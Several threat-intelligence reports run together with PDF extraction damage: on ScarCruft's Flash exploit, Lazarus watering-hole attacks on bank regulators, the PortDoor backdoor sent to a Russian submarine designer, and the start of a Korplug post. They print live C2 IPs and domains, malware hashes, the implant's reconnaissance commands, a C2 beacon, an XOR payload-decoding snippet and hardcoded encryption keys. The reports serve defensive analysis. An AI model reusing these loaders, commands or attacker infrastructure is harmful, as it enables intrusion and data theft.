Victims: Although our visibility is rather limited, some of the victims of these attacks include: A law enforcement agency in an Asian country One of the largest trading companies in Asia and in the world A mobile advertising and app monetization company in the USA Individuals related to the International Association of Athletics Federations A restaurant located in one of the top malls in Dubai Some of these were compromised over the last few days, indicating the attackers are still very active.
Conclusions: Nowadays, in-the-wild Flash Player exploits are becoming rare.
This is because in most cases they need to be coupled with a Sandbox bypass exploit, which makes them rather tricky.
Additionally, Adobe has been doing a great job at implementing new mitigations to make exploitation of Flash Player more and more difficult.
Nevertheless, resourceful threat actors such as ScarCruft will probably continue to deploy zero-day exploits against their high profile targets.
As usual, the best defense against targeted attacks is a multi-layered approach.
Windows users should combine traditional anti-malware technologies with patch management, host intrusion detection and, ideally, whitelisting and default-deny strategies.
According to a study by the Australian DSD, 85 of the targeted attacks analysed could have been stopped by four 7/8 https://securelist.com/blog/software/69887/how-to-mitigate-85-of-threats-with-only-four-strategies/ simple defense strategies.
While its impossible to achieve 100 protection, in practice and most cases all you have to do is increase your defenses to the point where it becomes too expensive for the attacker  who will just give up and move on to other targets.
Kaspersky products detect flash exploit as HEUR:Exploit.
SWF.Agent.gen also our AEP (Automatic Exploit Prevention) component can successfully detect this attack.
Payloads are detected with HEUR:Trojan.
Win32.ScarCruft.gen verdict.
More information about the ScarCruft APT group is available to customers of Kaspersky Intelligent Services.
Indicators of compromise: Malicious IPs and hostnames: 212.7.217[.
]10 reg.flnet[.
]org webconncheck.myfw[.
]us MD5s: 3e5ac6bbf108feec97e1cc36560ab0b6 a6f14b547d9a7190a1f9f1c06f906063 e51ce28c2e2d226365bc5315d3e5f83e 067681b79756156ba26c12bc36bf835c f8a2d4ddf9dc2de750c8b4b7ee45ba3f 8844a537e7f533192ca8e81886e70fbc 8/8 http://www.kaspersky.com/business-security/entrp/apt Flash zero-day exploit deployed by the ScarCruft APT Group Operation Daybreak general information Vulnerability technical details Bypassing security solutions through DDE Victims: Conclusions: Indicators of compromise: Malicious IPs and hostnames: MD5s:
Lazarus  Watering-hole attacks baesystemsai.blogspot.co.uk/2017/02/lazarus-watering-hole-attacks.html On 3rd February 2017, researchers at badcyber.com released an article that detailed a series of attacks directed at Polish financial institutions.
The article is brief, but states that This is  by far  the most serious information security incident we have seen in Poland followed by a claim that over 20 commercial banks had been confirmed as victims.
This report provides an outline of the attacks based on what was shared in the article, and our own additional findings.
ANALYSIS As stated in the blog, the attacks are suspected of originating from the website of the Polish Financial Supervision Authority (knf.gov[.
]pl), shown below: From at least 2016-10-07 to late January the website code had been modified to cause visitors to download malicious JavaScript files from the following locations: hxxp://sap.misapor[.
]ch/vishop/view.jsp?pagenum1 hxxps://www.eye-watch[.
]in/design/fancybox/Pnf.action Both of these appear to be compromised domains given they are also hosting legitimate content and have done for some time.
The malicious JavaScript leads to the download of malware to the victims device.
Some hashes of the backdoor have been provided in BadCybers technical analysis: 85d316590edfb4212049c4490db08c4b c1364bbf63b3617b25b58209e4529d8c 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae 1/9 https://baesystemsai.blogspot.co.uk/2017/02/lazarus-watering-hole-attacks.html https://badcyber.com/several-polish-banks-hacked-information-stolen-by-unknown-attackers/ https://1.bp.blogspot.com/-TfSyI2ivLQA/WJ2yjMFM87I/AAAAAAAAASo/lpFc7T6K9FMyiY5e5eNrYW1joicg5-LyQCLcB/s640/Lazarus_and_watering_hole_attacks_one.png https://3.bp.blogspot.com/-kALC48CtK2g/WJ2y1pojyPI/AAAAAAAAASs/Rsj-noOh358LmKVnyX_hgTHkT5hn-k9DQCLcB/s640/Lazarus_and_watering_hole_attacks_two.png https://2.bp.blogspot.com/-YkZzE1bFyCY/WJ2zEhct3aI/AAAAAAAAASw/PEPncIjsHucrtSu5eC1n1Va1Dvd7Mh_NgCLcB/s640/Lazarus_and_watering_hole_attacks_three.png The CCs given in the BadCyber analysis were the following IP addresses: 125.214.195.17 196.29.166.218 LAZARUS MALWARE Only one of the samples referenced by BadCyber is available in public malware repositories.
At the moment we cannot verify that it originated from the watering-hole on the KNF website  but we have no reason to doubt this either.
MD5 hash Filename File Info First seen Origin 85d316590edfb4212049c4490db08c4b gpsvc.exe Win32 (736 KB) 2017-01-26 07:46:24 PL The file is packed with a commercial packer known as Enigma Protector.
Once unpacked it drops a known malware variant, which has been seen as part of the Lazarus groups toolkit in other cases over the past year.
The unpacked executable takes several command line arguments: -l: list service names, available for its own registration -o: open specified event -t: set specified event -x [PASSWORD] -e [SERVICE_NAME]: drop/install DLL under specified [SERVICE_NAME] -x [PASSWORD] -f [SERVICE_NAME]: recreate the keys that keep the password for the next stage DLL, under the specified [SERVICE_NAME] The provided passwords MD5 hash is used as an RC4 password.
On top of that, there is one more RC4-round, using a hard coded 32-byte RC4 password: 53 87 F2 11 30 3D B5 52 AD C8 28 09 E0 52 60 D0 6C C5 68 E2 70 77 3C 8F 12 C0 7B 13 D7 B3 9F 15 Once the data is decrypted with two RC4 rounds, the dropper checks the decrypted data contains a valid 4-byte signature: 0xBC0F1DAD.
WATERING HOLE ANALYSIS The attacker content on the compromised sap.misapor[.
]ch site was not accessible at the time of writing.
However, archived versions of some pages can be found: http://web.archive[.
]org/web/20170203175640/https://sap.misapor.ch/Default.html http://web.archive[.
]org/web/20170203175641/https://sap.misapor.ch/Silverlight.js 2/9 http://enigmaprotector.com/en/about.html The Default.html contains code to load MisaporPortalUI.xap  a Silverlight application which likely would contain the malicious first-stage implant.
This is unfortunately not available for analysis currently.
div idsilverlightControlHost object datadata:application/x-silverlight, typeapplication/x-silverlight-2 width100 height100 param namesource valueClientBin/MisaporPortalUI.xap?ver1.0.7.0/ param nameonerror valueonSilverlightError / param namebackground valuewhite / param nameminRuntimeVersion value3.0.40624.0 / param nameautoUpgrade valuetrue / a href/web/20170203175640/http://go.microsoft.com/fwlink/?
LinkID149156v3.0.40624.0 styletext-decoration: none img src/web/20170203175640im_/http://go.microsoft.com/fwlink/?LinkId108181 altGet Microsoft Silverlight styleborder-style: none/ /a /object iframe id_sl_historyFrame stylevisibility:hiddenheight:0width:0border:0px /iframe /div ADDITIONAL WATERING HOLES The eye-watch[.
]in domain appears to have been used in watering-hole attacks on other financial sector websites.
On 2016-11-08 we observed connections to the site referred from: hxxp://www.cnbv.gob[.
]mx/Prensa/Paginas/Sanciones.aspx This is the page for the Comisin Nacional Bancaria y de Valores (National Banking and Stock Commission of Mexico), specifically the portion of their site that details sanctions made by the Mexican National Banking Commission.
This organisation is the Mexican banking supervisor and the equivalent of Polands KNF.
3/9 In this instance the site redirected to the following URL: hxxp://www.eye-watch[.
]in/jscroll/images/images.jsp?pagenum1 At the time of writing the compromise is no longer present and no archived versions of the page exist to show where the compromise was located.
A further instance of the malicious code appears to have been present on a bank website in Uruguay around 2016- 10-26 when a PCAP of browsing to the website was uploaded to VirusTotal.com.
This shows a GET request made to: hxxp://brou.com[.
]uy Followed shortly after by connections to: www.eye-watch[.
]in:443 Unfortunately, the response was empty and it is not possible to assess what may have been delivered.
ADDITIONAL MALWARE AND EXPLOIT ACTIVITY The compromised eye-watch[.
]in domain has been associated with other malicious activity in recent months.
Below is a list of samples which have used the site: 4/9 https://virustotal.com/en/file/a9f2b6a2fa1f0da4c35237638cfb0c6f988e74ee5a912ce727981a48435eddfa/analysis/ MD5 hash Filename File Info First seen Origin 4cc10ab3f4ee6769e520694a10f611d5 cambio.xap ZIP (73 KB) 2016-10-07 03:09:43 JP cb52c013f7af0219d45953bae663c9a2 svchost.exe Win32 EXE (126 KB) 2016-10-24 12:10:33 PL 1f7897b041a812f96f1925138ea38c46 gpsvc.exe Win32 EXE (126 KB) 2016-10-27 14:29:58 UY 911de8d67af652a87415f8c0a30688b2 gpsvc.exe Win32 EXE (126 KB) 2016-10-28 11:50:15 US 1507e7a741367745425e0530e23768e6 gpsvc.exe Win32 EXE (126 KB) 2016-11-15 18:20:34 N/A The last 4 samples can loosely be categorised as the same malware variant, however the first sample appears to be a separate exploit (as detailed later).
It is worth noting that these samples were all compiled after the domain began being used alongside the knf.gov[.
]pl watering-hole.
Additionally, the samples uploaded from Poland and Uruguay match with the watering-hole activity observed  suggesting this is all part of the same campaign.
Despite this potential connection to the Poland bank compromises, the malware is not particularly advanced  for example using basic operations to gather system information.
The malware attempts to run a series of commands with cmd.exe and then returns the result via the CC, eye-watch[.
]in.
These commands are as follows: cmd.exe /c hostname cmd.exe /c whoami cmd.exe /c ver cmd.exe /c ipconfig -all cmd.exe /c ping www.google.com cmd.exe /c query user cmd.exe /c net user cmd.exe /c net view cmd.exe /c net view /domain cmd.exe /c reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings cmd.exe /c tasklist /svc cmd.exe /c netstat -ano  find TCP An example CC beacon is seen below: GET /design/dfbox/list.jsp?actionWhatu10729854751740 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 6.1 Win64 x64 rv:47.0) Gecko/20100101 Firefox/47.0 5/9 Host: www.eye-watch[.
]in SILVERLIGHT XAP FILE The cambio.xap archive sample (4cc10ab3f4ee6769e520694a10f611d5) does not use eye-watch[.
]in as a CC channel but instead was downloaded from the URL: hxxps://www.eye-watch[.
]in/design/fancybox/include/cambio.xap cambio is Spanish for change.
The URL is similar to that noted in the BadCyber blog, and the use of an XAP file matches what can be found in the Archive.org cache for the sap.misapor[.
]ch site.
XAP is a software package format used for Microsoft Silverlight applications.
It can be opened as a standard ZIP archive and contains the following files: AppManifest.xaml Shell_siver.dll System.
Xml.Linq.dll Together they form a re-packaged exploit for Silverlight based on CVE-2016-0034 (MS16-006)  a Silverlight Memory Corruption vulnerability.
The exploit has previously been used by several exploit kits including RIG and Angler to deliver multiple crimeware tools.
The Shell_siver.dll file contains a compile path: c:\Users\KKK\Desktop\Shell_siver\Shell_siver\obj\Release\Shell_siver.pdb Internally, the code of this DLL loads a 2nd stage library called binaryreader.
Exploit  as seen below with the XOR-encoded string: byte[] array  new byte[]  115,120,127,112,99,104,99,116,112,117, 116,99,63,84,105,97,125,126,120,101  this.
InitializeComponent() for (int i  0 i  array.
Length i)  array[i]  17  if (args.get_InitParams().get_Keys().Contains(shell32))  ... type.
InvokeMember(run, 256, null, obj, new object[]) ...
This 2nd stage payload DLL contained within the assembly is 30,720 bytes in size and encoded with XOR 56: 6/9 https://en.wikipedia.org/wiki/XAP_(file_format) http://www.malware-traffic-analysis.net/2016/03/31/index.html http://malware.dontneedcoffee.com/2016/02/cve-2016-0034.html Buffer.
BlockCopy(Resource1._1, 54, array, 0, 30720) try  for (int i  0 i  array.
Length i)  byte b  56 array[i]  b  ...  Once the payload stub is decoded, it represents itself as a PE-image, which is another .NET 4.0 assembly with the internal name binaryreader.dll.
This second-stage DLL assembly, binaryreader.dll, is heavily obfuscated.
The DLL (MD5 hash: 7b4a8be258ecb191c4c519d7c486ed8a) is identical to the one reported in a malware traffic analysis blog post from March 2016 where it was used to deliver Qbot.
Thus it is likely the code comes from a criminal exploit kit which is being leveraged for delivery in this campaign.
A similarly named cambio.swf (MD5 hash: 6dffcfa68433f886b2e88fd984b4995a) was uploaded to VirusTotal from a US IP address in December 2016.
IP WHITELISTS When examining the code on the exploit kit website a list of 255 IP address strings was found.
The IPs only contained the first 3 octets, and would have been used to filter traffic such that only IPs on that subnet would be delivered the exploit and payload.
The IP addresses corresponded to a mix of public and private financial institutions spread across the globe: However, banks in some specific countries feature prominently in the list: Rank Country Count 1 Poland 19 7/9 http://www.malware-traffic-analysis.net/2016/03/31/index.html https://virustotal.com/en/file/c1b29afcfddb79cfd57545b8600922150843ae2b170fff9aeacdeaa17adbf792/analysis/ 2 United States 15 3 Mexico 9 4 United Kingdom 7 5 Chile 6 6 Brazil 5 7 Peru 3 7 Colombia 3 7 Denmark 3 7 India 3 The prominence of Polish and Mexican banks matches the observation of watering-hole code on sites in both countries.
CONCLUSIONS The evidence available is currently incomplete and at the moment we can only conclude the following: There has been a series of watering hole attacks on bank supervisor websites in Poland  Mexico, and a state owned bank in Uruguay in recent months.
These leverage Silverlight and Flash exploits to deliver malware.
Investigators in Poland have identified known Lazarus group implants on bank networks and associated this with the recent compromise of the Polish Financial Supervision Authoritys website.
The technical/forensic evidence to link the Lazarus group actors (who we believe are behind the Bangladesh Bank attack and many others in 2016) to the watering-hole activity is unclear.
However, the choice of bank supervisor / state-bank websites would be apt, given their previous targeting of Central Banks for Heists  even when it serves little operational benefit for infiltrating the wider banking sector.
Nonetheless, further evidence to connect together the pieces of this attack is needed, as well as insights into the end-goal of the culprits.
We are continuing our analysis of new artefacts as they emerge and may issue further updates in due course.
RECOMMENDATIONS We recommend organisations use the indicators provided in Appendix A to update their defensive systems to 8/9 identify attacks.
For compromised legitimate websites we would suggest a minimum 1 month block be placed on the domain.
Patches against CVE-2016-0034 should be applied as soon as possible.
APPENDIX A - INDICATORS OF ATTACK CC IP address 125.214.195.17 196.29.166.218 Compromised site knf.gov[.
]pl (currently clean) www.cnbv.gob[.
]mx (currently clean) brou.com[.
]uy (currently clean) sap.misapor[.
]ch www.eye-watch[.
]in MD5 Hashes c1364bbf63b3617b25b58209e4529d8c 85d316590edfb4212049c4490db08c4b 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae 1507e7a741367745425e0530e23768e6 911de8d67af652a87415f8c0a30688b2 1f7897b041a812f96f1925138ea38c46 cb52c013f7af0219d45953bae663c9a2 4cc10ab3f4ee6769e520694a10f611d5 7b4a8be258ecb191c4c519d7c486ed8a 9/9 Lazarus  Watering-hole attacks ANALYSIS LAZARUS MALWARE WATERING HOLE ANALYSIS ADDITIONAL WATERING HOLES ADDITIONAL MALWARE AND EXPLOIT ACTIVITY SILVERLIGHT XAP FILE IP WHITELISTS CONCLUSIONS RECOMMENDATIONS APPENDIX A - INDICATORS OF ATTACK
1/10 PortDoor: New Chinese APT Backdoor Attack Targets Russian Defense Sector cybereason.com/blog/portdoor-new-chinese-apt-backdoor-attack-targets-russian-defense-sector April 30, 2021  7 minute read The Cybereason Nocturnus Team has been tracking recent developments in the RoyalRoad weaponizer, also known as the 8.t Dropper/RTF exploit builder.
Over the years, this tool has become a part of the arsenal of several Chinese-related threat actors such as Tick, Tonto Team and TA428, all of which  employ RoyalRoad regularly for spear-phishing in targeted attacks against high-value targets.
While analyzing newly discovered RoyalRoad samples observed in-the-wild, the Nocturnus Team detected one that not only exhibits anomalous characteristics, but also delivers PortDoor malware, a previously undocumented backdoor assessed to have been developed by a threat actor likely operating on behalf of Chinese state-sponsored interests.
According to the phishing lure content examined, the target of the attack was a general director working at the Rubin Design Bureau, a Russian-based defense contractor that designs nuclear submarines for the Russian Federations Navy.
Key Findings RoyalRoad Variants are Under Development: The variant of the RoyalRoad weaponizer examined altered its encoded payload from the known 8.t file to a new filename: e.o.
More new variants are likely to be under development as well.
Previously Undocumented Backdoor: The newly discovered RoyalRoad RTF variant examined also drops a previously undocumented and stealthy backdoor dubbed PortDoor which is designed with obfuscation and persistence in mind.
Highly Targeted Attack: The threat actor is specifically targeting the Rubin Design Bureau, a part of the Russian defense sector designing submarines for the Russian Federations Navy.
Extensive Malware Capabilities: Portdoor has multiple functionalities, including the ability to do reconnaissance, target profiling, delivery of additional payloads, privilege escalation, process manipulation static detection antivirus evasion, one-byte XOR encryption, AES-encrypted data exfiltration and more.
APT Group Operating on Behalf of Chinese State Interests: The accumulated evidence such as the infection vector, social engineering style, use of RoyalRoad against similar targets, and other similarities between the newly discovered backdoor sample and other known Chinese APT malware all bear the hallmarks of a threat actor operating on behalf of Chinese state-sponsored interests.
Analysis of the Spear-Phishing Attack: Intro to RoyalRoad RoyalRoad is a tool that generates weaponized RTF documents that exploit the following vulnerabilities in Microsofts Equation Editor: CVE- 2017-11882, CVE-2018-0798 and CVE-2018-0802.
RoyalRoad is used primarily by threat actors considered to be operating on behalf of Chinese state interests (e.g Tick, Tonto Team, TA428, Goblin Panda, Rancor).
RoyalRoad has rather consistent characteristics and most of the weaponized RTF documents usually drop an encoded file named 8.t, which - once decoded - can deliver a variety of payloads for different threat actors.
In this report, we discuss a deviation from the classic RoyalRoad characteristics.
The dropped object name was changed from the very consistent 8.t naming convention to the new e.o file name.
Spear-Phishing Email Delivers RoyalRoad RTF The initial infection vector is a spear-phishing email addressed to the respectful general director Igor Vladimirovich at the Rubin Design Bureau, a submarine design center from the Gidropribor concern in St. Petersburg, a national research center that designs underwater weapons like submarines: https://www.cybereason.com/blog/portdoor-new-chinese-apt-backdoor-attack-targets-russian-defense-sector https://www.cybereason.com/blog/authors/cybereason-nocturnus https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html https://malpedia.caad.fkie.fraunhofer.de/actor/tick https://malpedia.caad.fkie.fraunhofer.de/actor/tonto_team https://malpedia.caad.fkie.fraunhofer.de/actor/ta428 https://en.wikipedia.org/wiki/Rubin_Design_Bureau https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper https://support.microsoft.com/en-us/office/equation-editor-6eac7d71-3c74-437b-80d3-c7dea24fdf3f https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2017-11882 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2018-0798 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2018-0802 https://malpedia.caad.fkie.fraunhofer.de/actor/tick https://malpedia.caad.fkie.fraunhofer.de/actor/tonto_team https://malpedia.caad.fkie.fraunhofer.de/actor/ta428 https://malpedia.caad.fkie.fraunhofer.de/actor/hellsing https://malpedia.caad.fkie.fraunhofer.de/actor/rancor https://en.wikipedia.org/wiki/Rubin_Design_Bureau https://www.gidropribor.ru/en/ 2/10 Content of the spear-phishing e-mail The email attachment is a malicious RTF document weaponized with a RoyalRoad payload, with content describing a general view of an autonomous underwater vehicle: Content of the weaponized RTF document The creation time of the RTF is timestomped to 2007, presumably to thwart investigation or detection efforts.
Timestomping is a known technique used by threat actors to try and remain under the radar: Historical RTF data from VirusTotal Once the RTF document is opened and executed, a Microsoft Word add-in file is dropped to the Microsoft Word startup folder.
This technique is used by various actors to bypass detection of automatic execution persistence, since Word must be relaunched in order to trigger the add-in file, making the persistence mechanism less noisy.
Contrary to the common 8.t file name observed in most RoyalRoad payloads, this new RoyalRoad variant uses e.o naming convention for the temporary file payload, which is eventually written to MS Word startup folder as winlog.wll: Weaponized RTF execution and dropped files on disk https://en.wikipedia.org/wiki/Autonomous_underwater_vehicle https://attack.mitre.org/techniques/T1070/006/ https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite https://support.microsoft.com/en-us/office/load-or-unload-a-template-or-add-in-program-2479fe53-f849-4394-88bb-2a6e2a39479d https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html 3/10 The malicious execution of the RTF file is detected by the Cybereason Defense Platform: Cybereason Detection of the PortDoor Backdoor PortDoor Backdoor Analysis The dropped payload, named winlog.wll, is a previously undocumented backdoor.
Its main capabilities include: Gathering reconnaissance and profiling of the victims machine Receiving commands and downloading additional payloads from the C2 server Communicating with the C2 server using raw socket as well as HTTP over port 443 with proxy authentication support Privilege escalation and process manipulation Dynamic API resolving for static detection evasion One byte XOR encryption of sensitive data and configuration strings The collected information is AES-encrypted before it is sent to the C2 server Detailed Analysis The DLL itself has multiple export functions, going from DllEntry00 to DllEntry33.
Most of these exports simply return sleep loops, a likely anti-analysis measure.
The main functionality resides within the DllEntry28 and DllEntry18: https://www.cybereason.com/platformgraphic 4/10 DLL exports of the PortDoor backdoor In order to get the configuration information, the backdoor first decrypts the strings using a hardcoded 0xfe XOR key: Strings decryption routine The decrypted data includes the following configuration information: The decrypted strings in memory Decrypted string Purpose 45.63.27[.
]162 C2 address Krj4 N/A B-JDUN Victim identifier 58097616.tmp Data file name written to temp 0987654321fedcba AES-CBC key It is worth noting that, during the analysis, the communication with the C2 was not successful and therefore some analysis information may be incomplete.
Following the debugger presence check and the string decryption, the malware then creates an additional file in temp with the hardcoded name 58097616.tmp, and writes the GetTickCount value multiplied by a random number to it: 5/10 Value written to the 58097616.tmp file This can be used as an additional identifier for the target, and also as a placeholder for the previous presence of this malware.
The malware then proceeds to attempt to establish a connection with the C2 which supports the transfer of data using TCP over raw sockets, or HTTPS using the CONNECT method.
In addition the backdoor appears to be proxy-aware, distinguishing between two HTTP response types: 200 response and 407 (Proxy Authentication Required): Hardcoded HTTP headers with proxy support PortDoor also has the ability to achieve privilege escalation by applying the Access Token Theft technique to steal explorer.exe tokens and run under a privileged security context: Access token theft from explorer.exe Eventually, the malware awaits for further instructions from the C2 to continue its execution.
This is done via the following switch case: https://attack.mitre.org/techniques/T1134/001/ 6/10 Some of the switch case implemented methods For example, the get_pc_info() case gathers basic PC info to be sent to the C2, and the B-JDUN string is most likely being used as a unique identifier for the campaign/victim: The information gathered on the infected PC Lastly, before sending the information to the C2 server the backdoor uses AES to encrypt the stolen PC information data: AES encrypted information gathered on the PC The backdoors main C2 command functionality is summarized in the table below: Case Action 0x08 Get PC info, concat with the B-JDUN identifier 0x30 List running processes 0x31 Open process 0x41 Get free space in logical drives 0x42 Files enumeration 0x43 Delete file 0x44 Move file 0x45 Create process with a hidden window 7/10 0x28 Open file for simultaneous operations 0x29 Write to file 0x2a Close handle 0x2b Open file and write directly to disk 0x01 Look for the Krj4 string 0x10 Create pipe, copy data from it and AES encrypt 0x11 Write data to file, append with \n 0x12 Write data to file, append with exit\n C2 command functionality summarized Another anti-analysis technique observed being used by the PortDoor backdoor is dynamic API resolving.
The backdoor is able to hide most of its main functionality and avoid static detection of suspicious API calls by dynamically resolving its API calls instead of using static imports: Dynamic API resolving The malicious execution of the PortDoor backdoor DLL is detected by the Cybereason Defense Platform: PortDoor Backdoor DLL as detected by Cybereason Attribution At the time of this analysis, there was not enough information available to attribute the newly discovered backdoor to a known threat actor with reasonable certainty.
However, there are a couple of known Chinese APT groups that share quite a few similarities with the threat actor behind the new malware samples analyzed in this blog.
Based on previous work done by nao_sec, the Nocturnus Team was able to determine that the RTF file discussed in this blog was weaponized with RoyalRoad v7, which bears the indicative b0747746 header encoding and was previously observed being used by the Tonto Team, TA428 and Rancor threat actors, as can be seen below: https://www.cybereason.com/platformgraphic https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html 8/10 RoyalRoad attribution matrix.
Credit: nao_sec Both the Tonto Team and TA428 threat actors have been observed attacking Russian organizations in the past, and more specifically attacking research and defense related targets.
For example, it was previously reported that Tonto Team is known to have attacked Russian organizations in the past using the Bisonal malware.
When comparing the spear-phishing email and malicious documents in these attacks with previously examined phishing emails and lure documents used by the Tonto Team to attack Russian organizations, there are certain similarities in the linguistic and visual style used by the attackers in the phishing emails and documents.
The newly discovered backdoor does not seem to share significant code similarities with previously known malware used by the abovementioned groups, other than anecdotal similarities that are quite common to backdoors, leading us to the conclusion that it is not a variant of a known malware, but is in fact novel malware that was developed recently.
Lastly, we are also aware that there could be other groups, known or yet unknown, that could be behind the attack and the development of the PortDoor backdoor.
We hope that as time goes by, and with more evidence gathered, the attribution could be more concrete.
Conclusion RoyalRoad has been one of the most used RTF weaponizers in the Chinese threat actors sphere in recent years.
It is mostly observed in the initial compromise phase of targeted attacks where spear-phishing is used to lure victims into opening malicious documents which in turn exploit Microsoft Equation Editor vulnerabilities to drop different malware.
In this report, we discussed the latest changes that were made to the RoyalRoad weaponizer that deviate from some of its well-documented and predictable indicators.
It is perhaps an indication that the threat actors who are operating it are attempting to avoid low hanging fruit detections.
In addition, we reported the discovery of the novel PortDoor backdoor, a previously undocumented and stealthy tool designed to grant the attackers access to their targets machines, collect information, and deploy additional payloads.
At the time of writing this report, it is still unclear which threat actor is behind the new backdoor, however we have identified two potential suspects that fit the profile.
Currently there is not enough information available to prove the stated hypothesis with a high level of certainty.
LOOKING FOR THE IOCs?
CLICK ON THE CHATBOT DISPLAYED IN LOWER-RIGHT OF YOUR SCREEN.
VIEW THE IOCS MITRE ATTCK Matrix Reconnaissance Initial Access Execution Persistence Privilege Escalation Defense Evasion Discovery Comm and Contro Gather Victim Host Information Phishing: Spearphishing Attachment Command and Scripting Interpreter: Windows Command Shell Office Application Startup: Add-ins Process Injection Masquerading: Match Legitimate Name or Location Virtualization/Sandbox Evasion Encryp Chann https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html https://unit42.paloaltonetworks.com/unit42-bisonal-malware-used-attacks-russia-south-korea/ https://cta-service-cms2.hubspot.com/ctas/v2/public/cs/c/?cta_guid83f0ea72-30fe-42d5-8ae6-38b61981624csignatureAAH58kH_lOb8hevg_ZipcE7ZxjmePGY7dwpageId46115795830placement_guid221514e7-f7d3-4ede-81d6-2e4461ba52f7clickfd7dd501-c1c8-4159-9f5a-6b9d0728556chsutkcanonhttps3A2F2Fwww.cybereason.com2Fblog2Fportdoor-new-chinese-apt-backdoor-attack-targets-russian-defense-sectorportal_id3354902redirect_urlAPefjpH8VCOlq4s0EvEVjcWJmD1mRtOvjwoK4LFrnhKPpUcUPqEpS3A1CBmHqS1TPIeoO5YQCeaB_MDKjZI1hffTPCiiLK4Fb3g59Qxp1Y7kJtnrxBVuIwecaG7JAxxjGvY_AseMleMoqELWWP7-nfIEEjluqpmT8WV_NEzsIuhspCgswAHVGcCISDxoDmuMqdtFfXAe912XFFdSLMAzi0dqXa1BkCKTAg https://attack.mitre.org/techniques/T1592/ https://attack.mitre.org/techniques/T1566/001/ https://attack.mitre.org/techniques/T1059/003/ https://attack.mitre.org/techniques/T1137/006/ https://attack.mitre.org/techniques/T1055/ https://attack.mitre.org/techniques/T1036/005/ https://attack.mitre.org/techniques/T1497/ https://attack.mitre.org/techniques/T1573/ 9/10 Access Token Manipulation: Token Impersonation/Theft Virtualization/Sandbox Evasion File and Directory Discovery Applica Layer Protoc Process Injection System Information Discovery Proxy: Extern Proxy Obfuscated Files or Information System Time Discovery Access Token Manipulation: Token Impersonation/Theft Process Discovery Signed Binary Proxy Execution: Rundll32 About the Researchers: DANIEL FRANK Daniel Frank is a senior Malware Researcher at Cybereason.
Prior to Cybereason, Frank was a Malware Researcher in F5 Networks and RSA Security.
His core roles as a Malware Researcher include researching emerging threats, reverse-engineering malware and developing security-driven code.
Frank has a BSc degree in information systems.
ASSAF DAHAN Assaf Dahan is the Senior Director and Head of Threat Research at Cybereason.
He has over 15 years in the InfoSec industry.
He started his career in the Israeli Military 8200 Cybersecurity unit where he developed extensive experience in offensive security.
Later in his career he led Red Teams, developed penetration testing methodologies, and specialized in malware analysis and reverse engineering.
About the Author Cybereason Nocturnus The Cybereason Nocturnus Team has brought the worlds brightest minds from the military, government intelligence, and enterprise security to uncover emerging threats across the globe.
They specialize in analyzing new attack methodologies, reverse-engineering malware, and exposing unknown system vulnerabilities.
The Cybereason Nocturnus Team was the first to release a vaccination for the 2017 NotPetya and https://attack.mitre.org/techniques/T1134/001/ https://attack.mitre.org/techniques/T1497/ https://attack.mitre.org/techniques/T1083/ https://attack.mitre.org/techniques/T1071/ https://attack.mitre.org/techniques/T1055/ https://attack.mitre.org/techniques/T1082/ https://attack.mitre.org/techniques/T1090/002/ https://attack.mitre.org/techniques/T1027/ https://attack.mitre.org/techniques/T1124/ https://attack.mitre.org/techniques/T1134/001/ https://attack.mitre.org/techniques/T1057/ https://attack.mitre.org/techniques/T1218/011/ https://www.linkedin.com/company/cybereason https://twitter.com/cr_nocturnus 10/10 Bad Rabbit cyberattacks.
All Posts by Cybereason Nocturnus https://www.cybereason.com/blog/authors/cybereason-nocturnus
Korplug military targeted attacks: Afghanistan  Tajikistan After taking a look at recent Korplug (PlugX) detections, we identified two larger scale campaigns employing this well-known Remote Access Trojan.
This blog gives an overview of the first one, related to Afghanistan  Tajikistan.
The other campaign, where the targets were a number of high-profile organizations in Russia, will be the subject of Anton Cherepanovs presentation at the ZeroNights security conference in Moscow this week.
Sometimes malware used in various attacks is unique enough to identify related incidents, which makes tracking individual botnets simpler.
An example is the BlackEnergy Lite variant (also known as BlackEnergy 3) used by a group of attackers (that was then given the name Quedagh, or Sandworm) against targets in Ukraine and other countries.
BlackEnergy Lite is clearly distinguishable from the numerous binaries of the more common BlackEnergy 2 also circulating in-the-wild.
In other cases, attackers use more common tools for accomplishing their criminal goals.
For example, the Korplug RAT (a.k.a .PlugX) is a well-known toolkit associated with Chinese APT groups and used in a large number of targeted attacks since 2012.
For the past several weeks we have taken a closer look at a great number of detections of this malware in many unrelated incidents.
Among these, we were able to discover several successful infections where the employed Korplug samples http://2014.zeronights.org/conference/fasttrack.htmlcherepanov http://www.welivesecurity.com/2014/09/22/back-in-blackenergy-2014/ were connecting to the same CC domain.
DOMAIN: www.notebookhk.net Updated Date: 2013-11-12 18:03:45 Create Date: 2013-06-18 11:08:17 Registrant Name: lee stan Registrant Organization: lee stan Registrant Street: xianggangdiqu Registrant City: xianggangdiqu Registrant State: xianggang Registrant Postal Code: 796373 Registrant Country: HK Registrant Phone : 0.04375094543 Registrant Fax: 0.04375094543 Registrant Email:stanleegmail.com Other Korplug samples were connecting to a different domain name resolving to the same IPs as notebookhk.net: DOMAIN: www.dicemention.com Updated Date: 2013-11-12 18:05:33 Create Date: 2013-09-10 14:35:11 Registrant Name: z x Registrant Organization: z x Registrant Street: xianggangdiqu Registrant City: xianggangdiqu Registrant State: xianggang Registrant Postal Code: 123456 Registrant Country: HK Registrant Phone : 0.0126324313 Registrant Fax: 0.0126324313 Registrant Email: 123123.com DOMAIN: www.abudlrasul.com Updated Date: 2014-10-16 14:16:27 Create Date: 2014-10-16 14:16:27 Registrant Name: gang xin Registrant Organization: gang xin Registrant Street: Argentina Argentina Registrant City: Argentina Registrant State: Argentina Registrant Postal Code: 647902 Registrant Country: AR Registrant Phone : 54.0899567089 Registrant Fax: 